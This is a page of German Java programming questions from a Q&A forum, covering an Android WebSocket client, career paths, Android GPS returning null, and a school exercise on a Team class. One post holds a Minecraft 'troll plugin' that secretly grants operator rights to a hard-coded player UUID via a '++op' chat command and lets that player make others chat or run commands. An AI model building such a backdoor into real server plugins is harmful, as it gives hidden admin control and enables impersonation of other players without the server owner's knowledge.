Websocket Verbindung zwischen Android Client und Erlang Server?

Hallo,

Nachdem ich vor etwa einem Monat damit begann, meine eigene Handyapp zu entwickeln, um meine Kenntnisse zu festigen, bin ich momentan auf folgenden Stand:

Alte Frage: Kommunikation zwischen App und Webserver? (Computer, App, Server) - gutefrage

Ich kann mich mithilfe des HTTP Protokolls bei der App registrieren und anmelden. Kann Freunde hinzufügen und mit denen einen privaten Chat starten. Jedoch funktioniert alles noch über HTTPS und der Client stellt jede sekunde eine Anfrage an den Server. Nun würde ich gerne eine Websocketverbindung implementieren.

Auf den Server läuft Ubuntu, eine SQL Datenbank und ein Apache Webserver. Serverseitig würde ich gerne den Websocketserver mit Erlang programmieren, da bekannte SocialMedia Konzerne dies ebenfalls nutzen. Ich habe mich reichlich über die Websocketverbindung informiert und weis den Ablauf, jedoch finde ich keine ausreichenden Quellen, wie ich den Client in AndroidStudio/Java umsetzen kann, sodass er auch auf Servernachrichten reagiert. (Bisher habe ich nur zum Websocket hin kommunizieren können und direkte Anworten wahrnehmen können), gleicher Effekt wie mit dem HTTP Protokoll. Manche verwenden die Socketbibliothek, welche aber nur direkte Anworten auffangen kann. Andere verwenden SocketIO, dies habe ich aber nicht zum laufen bekommen.

Welche Bibliotheken sollte ich für meine Anforderungen nutzen und in welche Richtung sollte die Umsetzung erfolgen?

Liebe Grüße

Alex

App, Linux, Java, Android, Webserver
Braucht man unbedingt ein (Fach-)Abitur oder gar ein Studium in Informatik um Softwareentwickler zu werden?

Moin

In meinem Fall habe ich einen guten bis sehr guten Realschulabschluss absolviert. Ich möchte eigentlich nur wissen, ob man überhaupt mit diesem Abschluss ordentlich und ohne Schwierigkeiten in die Softwareentwicklung einsteigen sollte bzw. eine Ausbildung starten könnte. Google und Jobbörsen spucken da jedes mal etwas anderes aus. Desto länger ich nach einer Antwort gesucht habe, desto verwirrter wurde ich.

Kurz zu mir selbst: Ich interessiere mich schon länger für die Programmierung allgemein und habe auch bereits Python + Java ausprobiert. Ich bin erstmal bei Java geblieben, da mir die Komplexität und vielfältigen Möglichkeiten auf verschiedenen Plattformen dort einfach mehr zusagen. Der Wille in einem Team zu arbeiten ist auch da, deshalb tendiere ich eher zur Softwareentwicklung als zum Freelancen ganz alleine.

Hoffe auf aufschlussreiche Antworten von allen Fronten :)

EDIT:

Danke schonmal für die vielen Antworten! Ich selbst habe nochmal weitergesucht und bin auf diese Seite hier gestoßen. War ebenfalls hilfreich und evtl. hilft die jemandem der in meiner Situation steckt.

https://www.gfn.de/lp-fachinformatik-an-0122-le-aw/?utm_source=aw&utm_medium=cpc&utm_campaign=02_FIAE&utm_content=fiae&utm_term=e_fachinformatiker%20f%C3%BCr%20anwendungsentwicklung&gclid=Cj0KCQjwmouZBhDSARIsALYcoupVK2wbYdU6wzfIwTEjZGneG2UfseeKyATgsl7C-z4Rh_SaBQZUTCoaArrpEALw_wcB

Beruf, Berufswahl, Java, Programmiersprache, Python, Softwareentwickler
Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Warum kommt manchmal null raus?

Hallo. Ich mache gerade eine App, die den Standort des Users finden soll. Manchmal klappt es und manchmal kommt null raus. Hier mal der Code:

lManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationTracker);
lManager.requestSingleUpdate(LocationManager.GPS_PROVIDER, locationTracker, null);
userLocation = locationTracker.lastUserLocation;

Location gpsLocation = null;
Location networkLocation = null;
Location passiveLocation = null;

try {
    gpsLocation = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
} catch (SecurityException e) {
    Toast.makeText(getActivity(), "Error: SecurityException. (" + e + ")", Toast.LENGTH_SHORT).show();
}

try {
    networkLocation = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
} catch (SecurityException e) {
    Toast.makeText(getActivity(), "Error: SecurityException. (" + e + ")", Toast.LENGTH_SHORT).show();
}

try {
    passiveLocation = lManager.getLastKnownLocation(LocationManager.PASSIVE_PROVIDER);
} catch (SecurityException e) {
    Toast.makeText(getActivity(), "Error: SecurityException. (" + e + ")", Toast.LENGTH_SHORT).show();
}

if (gpsLocation != null) {
    userLocation = gpsLocation;
} else if (networkLocation != null) {
    userLocation = networkLocation;
} else if (passiveLocation != null) {
    userLocation = passiveLocation;
} else if(locationTracker.lastUserLocation != null) {
    Toast.makeText(getActivity(), "Using last known location", Toast.LENGTH_SHORT).show();
    userLocation = locationTracker.lastUserLocation;
} else {
    Toast.makeText(getActivity(), "Error: Unable to get your location. Try Again.", Toast.LENGTH_SHORT).show();
    userLocation = null;
}

Das ist der Code, der onClick auf einen Button ausgeführt wird. in meiner onViewCreate Methode hab ich außerdem noch:

lManager = (LocationManager) getActivity().getSystemService(Context.LOCATION_SERVICE);
if(getActivity().checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, Process.myPid(), Process.myUid()) == PackageManager.PERMISSION_GRANTED) {
    lManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationTracker);
}

Was ich nur nicht verstehe, wieso genau kommt da denn manchmal null raus? Ich sende doch eine request damit der Standort geupdatet wird. Jemand vielleicht eine Idee?

Danke im Voraus und lg.

P.S.:

Getestet auf ZTE Blade V10 (Android 9, API Level 29). Die ganze App ist auf Level 21.

PC, Computer, Handy, Internet, Software, App, Technik, programmieren, Java, GPS, Android, GPS Ortung, Softwareentwicklung, Technologie
Wie würdet ihr diese Java Aufgabe lösen?

Angabe:

(Ich habe selber einen Code geschrieben, aber da es hier in Zeichenlimit gibt, kann ich nicht alles einfügen)

  1. Definiere eine Klasse 
  2. Team
  3. , die folgende Eigenschaften einer Sportmannschaft verwaltet. In Klammern stehen die Variablennamen, die du für die Attribute verwenden sollst.
Teamname (name)
Gespielte Spiele (games)
Siege (wins)
Unentschieden (draws)
Niederlagen (losses)
Tore erzielt (goals)
Gegentore (goalsAgainst)
Punkte (points)

Diese Daten sind notwendig, um eine vollständige Zeile einer Meisterschaftstabelle für ein Team auszugeben.

Erzeuge eine Programmklasse namens 

Sew2UeTeam

 und initialisiere in der 

main()

-Methode vier unterschiedliche Team-Objekte und lege die Teamnamen fest.

Schreibe danach die Methode

static void playGame(Team a, Team b, int toreA, int toreB)

Diese Methode dient dazu, EIN Bewerbsspiel von zwei Mannschaften zu erfassen und auszuwerten. Die beiden Mannschaften werden als Team-Objekte übergeben, zusätzlich werden die von jeder Mannschaft in diesem Spiel geschossenen Tore an die Methode übergeben.

Die jeweils erzielten Tore entscheiden über den Ausgang des Spieles (Sieg 1 – Unentschieden – Sieg 2). Eine Mannschaft bekommt für einen Sieg 3 Punkte, für ein Unentschieden 1 Punkt, und keinen Punkt für eine Niederlage.

Die Methode soll alle relevanten Daten in den beiden Teamobjekten aktualisieren (Anzahl Spiele, Anzahl Siege/Unentschieden/Niederlagen, Tore erzielt/erhalten, Punkte).

Lass danach jedes Team gegen jedes andere „spielen“, indem Du (vielleicht mit Zufallszahlen für die Tore) die Methode 

playGame(…)

 für alle möglichen Spielpaarungen aufrufst.

Als Abschluss gib für alle Teams die Daten als Tabellenzeile (unsortiert) aus.


Schule, programmieren, Java, Informatik, Objektorientierte Programmierung

Meistgelesene Fragen zum Thema Java